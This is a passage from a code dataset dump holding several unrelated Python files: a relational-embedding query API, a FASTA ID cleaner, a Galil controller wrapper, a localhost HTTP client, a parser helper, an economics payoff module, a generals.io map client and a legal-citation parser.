reverse=True)\n return similarities[:k]\n\n def row_idx_evidence_related_tables(self, table1, table2, k=10):\n \"\"\"\n Given two tables as input, find pairs of rows of either table that make them be related\n :param table1:\n :param table2:\n :return:\n \"\"\"\n similarities = []\n rs1 = self.RE_R[table1]['rows']\n rs2 = self.RE_R[table2]['rows']\n for idx1, v1 in rs1.items():\n for idx2, v2 in rs2.items():\n sim = np.dot(v1, v2)\n t = ((idx1, idx2), sim)\n similarities.append(t)\n similarities = sorted(similarities, key=lambda x: x[1], reverse=True)\n return similarities[:k]\n\n def row_evidence_related_tables(self, table1, table2, k=10):\n res = self.row_idx_evidence_related_tables(table1, table2, k=k)\n rows = []\n df1 = pd.read_csv(self.path_to_relations + table1, encoding='latin1')\n df2 = pd.read_csv(self.path_to_relations + table2, encoding='latin1')\n for idx, sim in res:\n idx1, idx2 = idx\n r1 = df1.iloc[idx1]\n r2 = df2.iloc[idx2]\n rows.append((r1, r2))\n return rows\n\n def entity_evidence_related_columns(self, col1, col2, k=10):\n \"\"\"\n Given two columns as input, find pairs of entities that make the columns related\n :param col1:\n :param col2:\n :return:\n \"\"\"\n sims1 = np.dot(self.M_C.vectors, col1.T)\n sims2 = np.dot(self.M_C.vectors, col2.T)\n indexes1 = np.argsort(sims1)[::-1][:(k * 5)]\n indexes2 = np.argsort(sims2)[::-1][:(k * 5)]\n ix_indexes = np.intersect1d(indexes1, indexes2)\n\n metrics1 = sims1[ix_indexes]\n metrics2 = sims2[ix_indexes]\n metrics = np.mean([metrics1, metrics2], axis=0)\n\n res = self.M_C.generate_response(ix_indexes, metrics).tolist()\n\n return res\n\n \"\"\"\n Summarization API\n \"\"\"\n\n def select_diverse_sample(self, vectors, k=5):\n \"\"\"\n Given a list of vectors, retrieve K that maximize some diversification score\n :param vectors: list of vectors to summarize\n :param k: the total number of vectors to return. size of the summary\n :return: the indexes of the selected vectors\n \"\"\"\n assert len(vectors) > k\n\n seed_index = 0\n seed = vectors[seed_index]\n k_result = []\n k_result.append(seed_index)\n k -= 1\n while k > 0:\n sims = np.dot(vectors, seed.T)\n indexes_sorted_by_sims = np.argsort(sims)[::-1]\n most_dissimilar_index = indexes_sorted_by_sims[-1]\n most_dissimilar_metric = sims[most_dissimilar_index]\n k_result.append(most_dissimilar_index)\n k -= 1\n seed = self.combine([vectors[most_dissimilar_index], seed]) # we keep seed always a vector\n # TODO: along with each selected index, show how many other rows are wi thin X distance from it in this table\n # TODO: more like this - given one tuple, find others in the table similar to it\n # TODO: optimal summary - pick enough tuples so all others are within x distance from the summary\n return k_result\n\n def db_in_relations_summary(self, k=10):\n \"\"\"\n Retrieve a diverse sample of size k of type relations from the entire database\n :param k:\n :return:\n \"\"\"\n id_relation = dict()\n vecs = []\n for idx, obj in enumerate(self.RE_C.items()):\n relation, v = obj\n id_relation[idx] = relation\n vecs.append(v['vector'])\n vecs = np.asarray(vecs)\n kmeans = KMeans(n_clusters=int(k/2))\n kmeans = kmeans.fit(vecs)\n labels = kmeans.predict(vecs)\n clusters = defaultdict(list)\n for idx, el in enumerate(labels):\n clusters[el].append(idx)\n # now pick any random idx from each cluster\n selected_tables = []\n table_idxs = [v[0] for _, v in clusters.items()]\n table_idxs.extend([v[-1] for _, v in clusters.items()])\n for i in table_idxs:\n selected_tables.append(id_relation[i])\n return selected_tables\n\n def db_in_clustered_relations_summary(self, k=10):\n \"\"\"\n Cluster relations in DB and return\n :param k:\n :return:\n \"\"\"\n id_relation = dict()\n vecs = []\n for idx, obj in enumerate(self.RE_C.items()):\n relation, v = obj\n id_relation[idx] = relation\n vecs.append(v['vector'])\n vecs = np.asarray(vecs)\n kmeans = KMeans(n_clusters=int(k))\n kmeans = kmeans.fit(vecs)\n labels = kmeans.predict(vecs)\n clusters = defaultdict(list)\n for idx, el in enumerate(labels):\n clusters[el].append(id_relation[idx])\n return clusters\n\n def relation_in_rows_summary(self, relation, k=10):\n \"\"\"\n Retrieve a diverse sample of size k of type rows from the input relation\n :param k:\n :return:\n \"\"\"\n relation_vecs = np.asarray(list(self.RE_R[relation]['rows'].values()))\n summ = self.select_diverse_sample(relation_vecs, k=k)\n df = pd.read_csv(self.path_to_relations + relation, encoding='latin1')\n rows = []\n for index in summ:\n row = df.iloc[index]\n rows.append(row)\n return rows\n\n \"\"\"\n Visualization API\n \"\"\"\n\n def visualize_vectors(self, vectors, labels, dim=2):\n # TODO: lack of ability to give labels, this is useless without labels\n \"\"\"\n Given a list of vectors of dimension n, reduce dimensionality to dim and then plot on figure\n :param vectors:\n :param dim:\n :return:\n \"\"\"\n assert len(vectors) == len(labels)\n\n return\n\n \"\"\"\n Iterator API\n \"\"\"\n\n def relation_iterator_r(self):\n \"\"\"\n Given a relational embedding, iterate over the relation vectors\n :param relational_embedding:\n :return:\n \"\"\"\n for relation, v in self.RE_R.items():\n yield v[\"vector\"], relation\n\n def relation_iterator_c(self):\n \"\"\"\n Given a relational embedding, iterate over the relation vectors\n :param relational_embedding:\n :return:\n \"\"\"\n for relation, v in self.RE_C.items():\n yield v[\"vector\"], relation\n\n def column_iterator_r(self):\n \"\"\"\n Given a relational embedding, iterate over the relation vectors\n :param relational_embedding:\n :return:\n \"\"\"\n for relation, v in self.RE_R.items():\n for column, vector in self.RE_R[relation][\"columns\"].items():\n yield vector, relation, column\n\n def column_iterator_c(self):\n \"\"\"\n Given a relational embedding, iterate over the relation vectors\n :param relational_embedding:\n :return:\n \"\"\"\n for relation, v in self.RE_C.items():\n for column, vector in self.RE_C[relation][\"columns\"].items():\n yield vector, relation, column\n\n def row_iterator_r(self):\n \"\"\"\n Given a relational embedding, iterate over the rows\n :param relational_embedding:\n :return:\n \"\"\"\n for relation, v in self.RE_R.items():\n for row_idx, vector in self.RE_R[relation][\"rows\"].items():\n yield vector, relation, row_idx\n\n \"\"\"\n similarity and relatedness between 2 entities API\n \"\"\"\n\n def similarity_between_vectors(self, v1, v2, simf=SIMF.COSINE):\n similarity = 0\n if simf == SIMF.COSINE:\n # similarity = np.dot(v1, v2)\n # similarity = self.re_range_score(similarity)\n similarity = 1 - cosine(v1, v2)\n elif simf == SIMF.EUCLIDEAN:\n similarity = 1 - euclidean(v1, v2)\n return similarity\n\n def similarity_between(self, entity1, entity2, simf=SIMF.COSINE):\n x = dpu.encode_cell(entity1)\n y = dpu.encode_cell(entity2)\n vec_x = self.M_C.get_vector(x)\n vec_y = self.M_C.get_vector(y)\n return self.similarity_between_vectors(vec_x, vec_y, simf=simf)\n\n def relatedness_between(self, entity1, entity2, simf=SIMF.COSINE):\n x = dpu.encode_cell(entity1)\n y = dpu.encode_cell(entity2)\n vec_x = self.M_R.get_vector(x)\n vec_y = self.M_R.get_vector(y)\n return self.similarity_between_vectors(vec_x, vec_y, simf=simf)\n\n def analogy(self, x, y, z):\n \"\"\"\n y is to ??? what z is to x\n :param x:\n :param y:\n :param z:\n :return:\n \"\"\"\n x = dpu.encode_cell(x)\n y = dpu.encode_cell(y)\n z = dpu.encode_cell(z)\n indexes, metrics = self.M_R.analogy(pos=[x, y], neg=[z], n=10)\n res = self.M_R.generate_response(indexes, metrics).tolist()\n return res\n\n \"\"\"\n Experimental\n \"\"\"\n def concept_qa(self, entity, relation, attribute, n=20, simf=SIMF.COSINE):\n entity = dpu.encode_cell(entity)\n indexes = []\n metrics = []\n if simf == SIMF.COSINE:\n indexes, metrics = self.M_R.cosine(entity, n=n)\n elif simf == SIMF.EUCLIDEAN:\n indexes, metrics = self.M_R.euclidean(entity, n=n)\n res = self.M.generate_response(indexes, metrics).tolist()\n res = [(e, self.re_range_score(score)) for e, score in res]\n vec_attribute = self.RE_R[relation][\"columns\"][attribute]\n # vec_attribute = self.RE[relation+\".\"+attribute]\n candidate_attribute_sim = []\n for e, score in res:\n vec_e = self.M_R.get_vector(e) # no need to normalize e --- it's already normalized\n similarity_to_attr = 0\n if simf == SIMF.COSINE:\n # similarity_to_attr = np.dot(vec_e, vec_attribute)\n # similarity_to_attr = self.re_range_score(similarity_to_attr)\n distance_to_attr = cosine(vec_e, vec_attribute)\n elif simf == SIMF.EUCLIDEAN:\n similarity_to_attr = 1 - euclidean(vec_e, vec_attribute)\n # avg distance between original entity to each ranking entity and each ranking entity and target attr\n similarity = (similarity_to_attr + score) / 2\n candidate_attribute_sim.append((e, similarity))\n candidate_attribute_sim = sorted(candidate_attribute_sim, key=lambda x: x[1], reverse=True)\n return candidate_attribute_sim\n\n def concept_qa_denoising(self, entity, relation, attribute, n=20, denoise_heuristic=3, simf=SIMF.COSINE):\n candidate_attribute_sim = self.concept_qa(entity, relation, attribute, n=n, simf=simf)\n # now we have a list of candidates, denoise the ranking by checking that each is also closer to the attr at hand\n ranking_cut = denoise_heuristic\n denoised_candidate_attr_sim = []\n for e, sim in candidate_attribute_sim:\n vec_e = self.M_R.get_vector(e)\n top_attr = self.topk_related_columns(vec_e, k=ranking_cut, simf=simf)\n keep = False\n for column, relation, similarity in top_attr:\n if column == attribute:\n keep = True\n if keep:\n denoised_candidate_attr_sim.append((e, sim))\n return denoised_candidate_attr_sim\n\n def concept_expansion(self, instance, relation, concept, k=5):\n res = []\n concept_vec = self.RE_C[relation][\"columns\"][concept]\n threshold_sim = self.similarity_between_vectors(concept_vec, self.col_vector_for(cell=instance))\n print(str(threshold_sim))\n top_similar = self.more_entities_like(instance, k=k)\n for e, score in top_similar:\n sim = self.similarity_between(concept_vec, self.col_vector_for(cell=e))\n if sim >= threshold_sim:\n res.append(e)\n return res\n\n \"\"\"\n Utils\n \"\"\"\n\n def re_range_score(self, score):\n \"\"\"\n Given a score in the range [-1, 1], it transforms it to [0,1]\n :param score:\n :return:\n \"\"\"\n new_value = (score + 1) / 2\n return new_value\n\n def resolve_row_idx(self, row_idx, relation):\n df = pd.read_csv(self.path_to_relations + \"/\" + relation, encoding='latin1')\n row = df.iloc[row_idx]\n return row\n\n # def serialize_relemb(self, path):\n # with open(path, 'wb') as f:\n # pickle.dump(self.RE, f)\n # print(\"Relational Embedding serialized to: \" + str(path))\n\n\ndef init(path_to_row_we_model, path_to_col_we_model, path_to_relations):\n st = time.time()\n row_we_model = word2vec.load(path_to_row_we_model)\n col_we_model = word2vec.load(path_to_col_we_model)\n et = time.time()\n we_loading_time = et - st\n st = time.time()\n row_relemb, col_relemb = composition.compose_dataset(path_to_relations, row_we_model, col_we_model)\n et = time.time()\n relemb_build_time = et - st\n api = Fabric(row_we_model, col_we_model, row_relemb, col_relemb, path_to_relations)\n print(\"Time to load WE model: \" + str(we_loading_time))\n print(\"Time to build relemb: \" + str(relemb_build_time))\n return api\n\n\ndef load(path_to_row_we_model, path_to_col_we_model, path_to_row_relemb, path_to_col_relemb, path_to_relations):\n st = time.time()\n row_we_model = word2vec.load(path_to_row_we_model)\n col_we_model = word2vec.load(path_to_col_we_model)\n et = time.time()\n we_loading_time = et - st\n st = time.time()\n with open(path_to_row_relemb, \"rb\") as f:\n row_relational_embedding = pickle.load(f)\n with open(path_to_col_relemb, \"rb\") as f:\n col_relational_embedding = pickle.load(f)\n et = time.time()\n relemb_build_time = et - st\n api = Fabric(row_we_model, col_we_model, row_relational_embedding, col_relational_embedding, path_to_relations)\n print(\"Time to load WE model: \" + str(we_loading_time))\n print(\"Time to build relemb: \" + str(relemb_build_time))\n return api\n\n\nif __name__ == \"__main__\":\n print(\"Fabric - relational embedding API\")\n","sub_path":"relational_embedder/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":33208,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"481655266","text":"__author__ = 'shmakovs'\n\n# https://github.com/soedinglab/MMseqs2/blob/master/README.md\n\nimport argparse\n\n#FastaFileName = \"/panfs/pan1/prokdata/CRISPRicity/JointClusters/JointUnique.faa\"\n\nap = argparse.ArgumentParser()\nap.add_argument(\"-f\", help = \"Fasta file name\")\n\nopts = ap.parse_args()\nFastaFileName = opts.f\n\nfor Line in open(FastaFileName):\n if Line[0] == \">\":\n ID = Line.split(\" \")[0]\n if \"|\" in ID:\n print(\">\" + ID.split(\"|\")[1])\n else:\n print(\">\" + ID)\n\n else:\n print(Line[:-1])","sub_path":"SideProjects/Linclust/MakeBareFASTAIds.py","file_name":"MakeBareFASTAIds.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"59042178","text":"import gclib\n\n\nclass GalilController(object):\n\n g = gclib.py() # make an instance of the gclib python class\n\n def connect(self, address):\n print('Opening Galil connection to address %s...' % address)\n try:\n self.g.GOpen('%s --direct -s ALL' % address)\n # self.g.GOpen('COM1 --direct')\n\n except gclib.GclibError as e:\n print('Error connecting to Galil:', e)\n self.conn_ok = False\n return False\n\n else:\n print(self.g.GInfo())\n self.conn_ok = True\n return True\n\n def send_command(self, command):\n # print(\"Sending to Galil: \", command)\n g = self.g # brings the object into this method\n\n try:\n return_message = g.GCommand(command)\n # print(\"Galil says: \" + return_message)\n if return_message:\n return return_message\n else:\n return True\n\n except gclib.GclibError as e:\n print('Unexpected GclibError:', e)\n return False\n\n finally:\n pass\n\n\n def stop_all(self):\n return self.send_command('ST')\n\n def close_connection(self):\n print(\"Closing Galil connection.\")\n self.g.GClose()\n\n def get_pos(self):\n # returns an array of the stage's current position\n xyz = [0,0,0]\n xyz[0] = float(self.send_command(\"MG _TPX\"))\n xyz[1] = float(self.send_command(\"MG _TPY\"))\n xyz[2] = float(self.send_command(\"MG _TPZ\"))\n return xyz\n\n def __init__(self):\n self.conn_ok = False\n\n# runs test script if called from the console\nif __name__ == '__main__':\n gc = GalilController()\n gc.connect()\n print(gc.send_command('MGTIME'))\n gc.close_connection()\n","sub_path":"Galil.py","file_name":"Galil.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"38285067","text":"#!/usr/bin/env python3\nimport requests\n\n# Post dict/json to uri.\ndef post(uri,data):\n p = requests.post(uri,json=data)\n if p.status_code != 200:\n raise Exception('http post failed.')\n\n# Get dict/json from uri.\ndef get(uri):\n g = requests.get(uri)\n if g.status_code != 200:\n raise Exception('http get failed.')\n return g.json()\n\n# Example Usage\ndef Main():\n import json\n eg_file = 'example.json'\n uri = 'http://127.0.0.1:5000/raspi/test_deployment'\n with open(eg_file) as fp:\n data = json.load(fp)\n post(uri,data)\n print(get(uri))\n\nif __name__ == '__main__':\n Main()\n\n","sub_path":"src/flask/client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"277444927","text":"\"\"\"\nhParsing.py\n\"\"\"\nfrom sys import exit\n\n\ndef leftRightExpand(s):\n \"\"\"-LEFT TO RIGHT EXPANDER-\n From string to string\n \"ab++bc\" ===> \"ab ++ bc\"\n \"\"\"\n # A = Alphanumeric\n # $ = Symbol\n g = s[0]\n for i in range(1, len(s)):\n if s[i-1].isalnum(): # A\n if s[i].isalnum(): g+= s[i] # AA \n else: g+= \" \"+s[i] # A $\n else: # $\n if s[i].isalnum(): g+= \" \"+s[i] # $ A\n else: g+= s[i] # $$\n return g\n\ndef readFile(f):\n \"\"\"-Reads a File-\n returns a string containing the expanded file\n \"\"\"\n ret = \"\"\n code = open(f, \"r\").readlines()\n for i in code:\n ret+= leftRightExpand(i)\n return ret.replace(\" \",\" \")\n\ndef separate(s, c):\n \"\"\"-Separate-\n returns a string where every character c in input is replaced\n with [space]c[space]\n separate(\"h(s)\", \"()\")\n ---> \"h ( s )\"\n \"\"\"\n for i in c:\n s = s.replace(i, \" %s \" % i)\n return s.replace(\" \", \" \")\n\nclass Phrase:\n \"\"\"-Phrase class-\n version 0.2\n -Input a list of words [\"w1\",\"w2\", ...]\n -Always starts at index 0\n -Final character: \"EoF\"\n -nextToken() is a silen Expect(tok)\n -Error() and fatalError() accept an addictional message\n \"\"\"\n def __init__(self, code):\n self.code = code if len(code) > 0 else [\" \"] # As a list of words\n self.indx = 0\n self.tokn = self.code[self.indx]\n def nextToken(self):\n self.indx+= 1\n if self.indx < len(self.code):\n self.tokn = self.code[self.indx]\n else:\n self.tokn = \"EoF\"\n def expect(self, expc):\n if expc == self.tokn:\n self.nextToken()\n return True\n else:\n self.fatalError(\"UnexpectedToken\",\n \"`\"+expc+\"' expected but `\"+self.tokn+\"' found\")\n return False\n def error(self, name, *msg):\n line = self.code[:self.indx-1].count(\"\\n\")\n print(\"`%s' Error at line `%d' (index `%d')\" % (name, line, self.indx))\n print(\"At token `%s'\" % self.tokn)\n for i in msg:\n print(\"\".join(i))\n def fatalError(self, name, *msg):\n self.error(name, msg)\n exit()","sub_path":"p3/parsing/hParsing.py","file_name":"hParsing.py","file_ext":"py","file_size_in_byte":2197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"412371191","text":"'''\nThis script defines the payoff functions and matrices\n'''\n\nimport numpy as np\n\n\ndef payoff_func(df, index, transfers, *args):\n '''\n This function calculates the integer value of the payoff function given\n the specification.\n\n input:\n df: a dataframe containing data relevant to our payoff function\n\n index: The row value of df that we wish to apply our payoff function to\n\n transfer: T or F depending on the form of our payoff function\n\n args: parameters of the model to be estimates\n\n output:\n payoff: integer value of the payoff function appied to a row of df.\n\n '''\n if transfers == \"F\":\n\n alpha, beta = args[0]\n\n x1, x2, y1, D = ['num_stations_buyer', 'corp_owner_buyer',\n 'population_target', 'distance']\n\n i = index\n payoff = (df[x1].iloc[i] * df[y1].iloc[i] +\n alpha * df[x2].iloc[i] *\n df[y1].iloc[i] + beta * df[D].iloc[i])\n\n if transfers == \"T\":\n delta, alpha, gamma, beta = args[0]\n\n x1, x2, y1, H, D = ['num_stations_buyer', 'corp_owner_buyer',\n 'population_target', 'hhi_target', 'distance']\n\n i = index\n\n payoff = (delta * df[x1].iloc[i] * df[y1].iloc[i] +\n alpha * df[x2].iloc[i] * df[y1].iloc[i] +\n gamma * df[H].iloc[i] + beta * df[D].iloc[i])\n\n return payoff\n\n\ndef payoff_mat(transfers, *args):\n '''\n This function creates the payoff matrices defined in the write up. The\n elements of this matrix are payoff values of the respective buyer, target\n matches.\n\n input:\n transfers: \"T\" or \"F\" depending on the specification\n\n args: coefficients of the model to be estimated. These are ultimately\n passed to payoff_func() to calculate payoff values\n\n '''\n n = len(actual_2007)\n cf2007 = np.matrix([payoff_func(counter_fact, i, transfers, args)\n for i in range(n * (n - 1))])\n\n cf2007.resize(n, (n - 1))\n\n m = len(actual_2008)\n cf2008 = np.matrix([payoff_func(counter_fact, i, transfers, args)\n for i in range(n * (n - 1), len(counter_fact))])\n\n cf2008.resize(m, (m - 1))\n\n act2007 = [payoff_func(actual_2007, i, transfers, args)\n for i in range(n)]\n\n act2008 = [payoff_func(actual_2008, i, transfers, args)\n for i in range(m)]\n\n return cf2007, cf2008, act2007, act2008\n","sub_path":"Problem Sets/Problem Set 4_matrix/payoff_func.py","file_name":"payoff_func.py","file_ext":"py","file_size_in_byte":2525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"164158472","text":"'''\n\t@ Harris Christiansen (Harris@HarrisChristiansen.com)\n\tJanuary 2016\n\tGenerals.io Automated Client - https://github.com/harrischristiansen/generals-bot\n\tMap: Objects for representing Generals IO Map and Tiles\n'''\n\nTILE_EMPTY = -1\nTILE_MOUNTAIN = -2\nTILE_FOG = -3\nTILE_OBSTACLE = -4\n\n_REPLAY_URLS = {\n\t'na': \"http://generals.io/replays/\",\n\t'eu': \"http://eu.generals.io/replays/\",\n}\n\nclass Map(object):\n\tdef __init__(self, start_data, data):\n\t\t# Start Data\n\t\tself._start_data = start_data\n\t\tself.player_index = start_data['playerIndex'] \t\t\t\t\t\t\t\t\t# Integer Player Index\n\t\tself.usernames = start_data['usernames'] \t\t\t\t\t\t\t\t\t\t# List of String Usernames\n\t\tself.replay_url = _REPLAY_URLS[\"na\"] + start_data['replay_id'] \t\t\t\t\t# String Replay URL # TODO: Use Client Region\n\n\t\t# First Game Data\n\t\tself._applyUpdateDiff(data)\n\t\tself.rows = self.rows \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Integer Number Grid Rows\n\t\tself.cols = self.cols \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Integer Number Grid Cols\n\t\tself.grid = [[Tile(x,y) for x in range(self.cols)] for y in range(self.rows)]\t# 2D List of Tile Objects\n\t\tself.turn = data['turn']\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Integer Turn # (1 turn / 0.5 seconds)\n\t\tself.cities = []\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# List of City Tiles\n\t\tself.generals = [ None for x in range(8) ]\t\t\t\t\t\t\t\t\t\t# List of 8 Generals (None if not found)\n\t\tself._setGenerals()\n\t\tself.stars = []\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# List of Player Star Ratings\n\t\tself.scores = self._getScores(data)\t\t\t\t\t\t\t\t\t\t\t\t# List of Player Scores\n\t\tself.complete = False\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Boolean Game Complete\n\t\tself.result = False\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t# Boolean Game Result (True = Won)\n\t\t\n\n\tdef update(self, data):\n\t\tself._applyUpdateDiff(data)\n\t\tself.scores = self._getScores(data)\n\t\tself.turn = data['turn']\n\n\t\tfor x in range(self.cols): # Update Each Tile\n\t\t\tfor y in range(self.rows):\n\t\t\t\ttile_type = self._tile_grid[y][x]\n\t\t\t\tarmy_count = self._army_grid[y][x]\n\t\t\t\tisCity = (y,x) in self._visible_cities\n\t\t\t\tisGeneral = (y,x) in self._visible_generals\n\t\t\t\tself.grid[y][x].update(self, tile_type, army_count, isCity, isGeneral)\n\n\t\treturn self\n\n\tdef updateResult(self, result):\n\t\tself.complete = True\n\t\tself.result = result == \"game_won\"\n\t\treturn self\n\n\tdef _getScores(self, data):\n\t\tscores = {s['i']: s for s in data['scores']}\n\t\tscores = [scores[i] for i in range(len(scores))]\n\n\t\tif 'stars' in data:\n\t\t\tself.stars[:] = data['stars']\n\n\t\treturn scores\n\n\tdef _applyUpdateDiff(self, data):\n\t\tif not '_map_private' in dir(self):\n\t\t\tself._map_private = []\n\t\t\tself._cities_private = []\n\t\t_apply_diff(self._map_private, data['map_diff'])\n\t\t_apply_diff(self._cities_private, data['cities_diff'])\n\n\t\t# Get Number Rows + Columns\n\t\tself.rows, self.cols = self._map_private[1], self._map_private[0]\n\n\t\t# Create Updated Tile Grid\n\t\tself._tile_grid = [[self._map_private[2 + self.cols*self.rows + y*self.cols + x] for x in range(self.cols)] for y in range(self.rows)]\n\t\t# Create Updated Army Grid\n\t\tself._army_grid = [[self._map_private[2 + y*self.cols + x] for x in range(self.cols)] for y in range(self.rows)]\n\n\t\t# Update Visible Cities\n\t\tself._visible_cities = [(c // self.cols, c % self.cols) for c in self._cities_private] # returns [(y,x)]\n\n\t\t# Update Visible Generals\n\t\tself._visible_generals = [(-1, -1) if g == -1 else (g // self.cols, g % self.cols) for g in data['generals']] # returns [(y,x)]\n\n\tdef _setGenerals(self):\n\t\tfor i, general in enumerate(self._visible_generals):\n\t\t\tif general[0] != -1:\n\t\t\t\tself.generals[i] = self.grid[general[0]][general[1]]\nclass Tile(object):\n\tdef __init__(self, x, y):\n\t\t# Public Properties\n\t\tself.x = x\t\t\t\t\t# Integer X Coordinate\n\t\tself.y = y\t\t\t\t\t# Integer Y Coordinate\n\t\tself.tile = TILE_EMPTY\t\t# Integer Tile Type (TILE_OBSTACLE, TILE_FOG, TILE_MOUNTAIN, TILE_EMPTY, or player_ID)\n\t\tself.turn_captured = 0\t\t# Integer Turn Tile Last Captured\n\t\tself.army = 0\t\t\t\t# Integer Army Count\n\t\tself.isCity = False\t\t\t# Boolean isCity\n\t\tself.isGeneral = False\t\t# Boolean isGeneral\n\n\tdef __repr__(self):\n\t\treturn \"(%d,%d) %d (%d)\" % (self.x, self.y, self.tile, self.army)\n\n\tdef __lt__(self, other):\n\t\t\treturn self.army < other.army\n\n\tdef update(self, map, tile, army, isCity=False, isGeneral=False):\n\t\tif (self.tile < 0 or tile >= 0 or (tile < TILE_MOUNTAIN and self.tile == map.player_index)): # Remember Discovered Tiles\n\t\t\tif ((tile >= 0 or self.tile >= 0) and self.tile != tile):\n\t\t\t\tself.turn_captured = map.turn\n\t\t\tself.tile = tile\n\t\tif (self.army == 0 or army > 0): # Remember Discovered Armies\n\t\t\tself.army = army\n\n\t\tif isCity:\n\t\t\tself.isCity = True\n\t\t\tself.isGeneral = False\n\t\t\tif self in map.cities:\n\t\t\t\tmap.cities.remove(self)\n\t\t\tmap.cities.append(self)\n\t\t\tif self in map.generals:\n\t\t\t\tmap.generals[self._general_index] = None\n\t\telif isGeneral:\n\t\t\tself.isGeneral = True\n\t\t\tmap.generals[tile] = self\n\t\t\tself._general_index = self.tile\n\ndef _apply_diff(cache, diff):\n\ti = 0\n\ta = 0\n\twhile i < len(diff) - 1:\n\n\t\t# offset and length\n\t\ta += diff[i]\n\t\tn = diff[i+1]\n\n\t\tcache[a:a+n] = diff[i+2:i+2+n]\n\t\ta += n\n\t\ti += n + 2\n\n\tif i == len(diff) - 1:\n\t\tcache[:] = cache[:a+diff[i]]\n\t\ti += 1\n\n\tassert i == len(diff)\n","sub_path":"base/client/map.py","file_name":"map.py","file_ext":"py","file_size_in_byte":5042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"386212252","text":"import bs4\nimport copy\nimport re\nimport json\n\nfrom functools import partial\nfrom typing import Iterator, Any, Dict, Tuple\nfrom bs4 import BeautifulSoup\n\n\nCITATION_MARK = 'CITATION_@@_'\nDOCCANO_CITATION_TAG = 'CITATION'\n\n\nclass Opinion:\n \"\"\"\n A helper class to manipulate an opinion.\n \"\"\"\n bs4_citation_args = {'class': 'citation', 'data-id': True}\n mark_regex = re.compile(f'{CITATION_MARK}' + r'\\w+')\n verbatim_quote = re.compile(r'\"(?P.+?)\"')\n\n def __init__(self, opinion_id: int, opinion_html: str):\n self.opinion_id = opinion_id\n self.opinion_html = opinion_html\n self.soup = clean_html(BeautifulSoup(self.opinion_html, 'html.parser'))\n self.raw_text = self.soup.get_text()\n self.num_words = len(self.raw_text.split())\n\n # MARK = replace all citations with easily findable strings in the raw text\n self.marked_soup = copy.copy(self.soup)\n for c in self.marked_soup.find_all('span', **Opinion.bs4_citation_args):\n c.string = f'{CITATION_MARK}{c[\"data-id\"]}'\n self.marked_text = clean_str(self.marked_soup.get_text())\n\n def citations(self, return_tag: bool = False) -> Iterator[Dict[str, Any]]:\n \"\"\"\n An iterator to go through all the citations in the opinion. Each iteration will yield a dict with the keys\n citing_opinion_id, cited_opinion_id. If return_tag is True, then the dict also contains the key\n 'tag', the value is a Tag object.\n :return: iterator\n \"\"\"\n spans = self.soup.find_all('span', **Opinion.bs4_citation_args)\n for s in spans:\n data = {'citing_opinion_id': self.opinion_id, 'cited_opinion_id': int(s['data-id'])}\n if return_tag:\n data['tag'] = s\n yield data\n\n def citation_marks(self) -> Iterator[Dict[str, Any]]:\n \"\"\"\n An iterator to go through the marked text. The marked text of an opinion is the full text where each citation\n is marked 'MARK_FOR_CITATION_'.\n The iterator yields dicts objects with keys 'marked_text' (value is a string), and 'span' (value is a tuple\n (start: int, end: int).\n :return: iterator\n \"\"\"\n for mark in self.mark_regex.finditer(self.marked_text):\n mark: re.Match\n start, end = mark.span()\n yield {\n 'marked_text': self.marked_text, # memory-safe, no copy is made.\n 'span': (start, end)\n }\n\n def citations_and_marks(self) -> Iterator[Dict[str, Any]]:\n \"\"\"\n An iterator that yields the data from citation_marks() and citations()\n :return: an iterator\n \"\"\"\n for citation, mark in zip(self.citations(), self.citation_marks()):\n yield {**citation, **mark}\n\n def doccano(self, max_words_before_after: int) -> Iterator[str]:\n \"\"\"\n For each citation in an opinion, generate the snippet of text that will be used by annotators.\n It is returned in JSONL format, and the citation itself is marked as 'CITATION'.\n\n :param max_words_before_after: number of words of the text before and after the tag to include for the\n annotator. If None, then the whole text is returned\n :return: Iterator that yields JSONL strings\n \"\"\"\n for citation in self.citation_marks():\n full_txt, len_before, len_after = text_before_after(citation['marked_text'],\n citation['span'],\n max_words_before_after)\n len_span = citation['span'][1] - citation['span'][0]\n\n # Remove the other CITATION marks out of the current citation.\n # It happens regularly that other citations are nearby, this could confuse the annotator\n before_citation_txt = full_txt[:len_before]\n after_citation_txt = full_txt[-len_after:]\n before_citation_txt, after_citation_txt = list(map(partial(re.sub, CITATION_MARK, f'OTHER_{CITATION_MARK}'),\n [before_citation_txt, after_citation_txt]))\n\n full_txt = ''.join([before_citation_txt,\n full_txt[len_before:len_before + len_span],\n after_citation_txt])\n start_citation = len(before_citation_txt)\n end_citation = start_citation + len_span\n\n yield json.dumps({'text': full_txt, 'labels': [[start_citation, end_citation, DOCCANO_CITATION_TAG]]})\n\n def verbatim(self, max_words_before_after: int, min_words_verbatim: int) -> Iterator[Dict[str, Any]]:\n \"\"\"\n An iterator that yields potential verbatim quotes from cited opinions.\n Warning: it does not check that the verbatim quotes are indeed from the cited opinion\n\n :return: an iterator\n \"\"\"\n for citation in self.citations_and_marks():\n snippet_txt, len_before, len_after = text_before_after(citation['marked_text'],\n citation['span'],\n nb_words=max_words_before_after)\n\n # Find all verbatim quote in the text before the citation\n try:\n for m in filter(lambda x: len(x['quote'].split()) >= min_words_verbatim,\n self.verbatim_quote.finditer(snippet_txt[:-len_after])):\n yield {\n 'citing_opinion_id': self.opinion_id,\n 'cited_opinion_id': 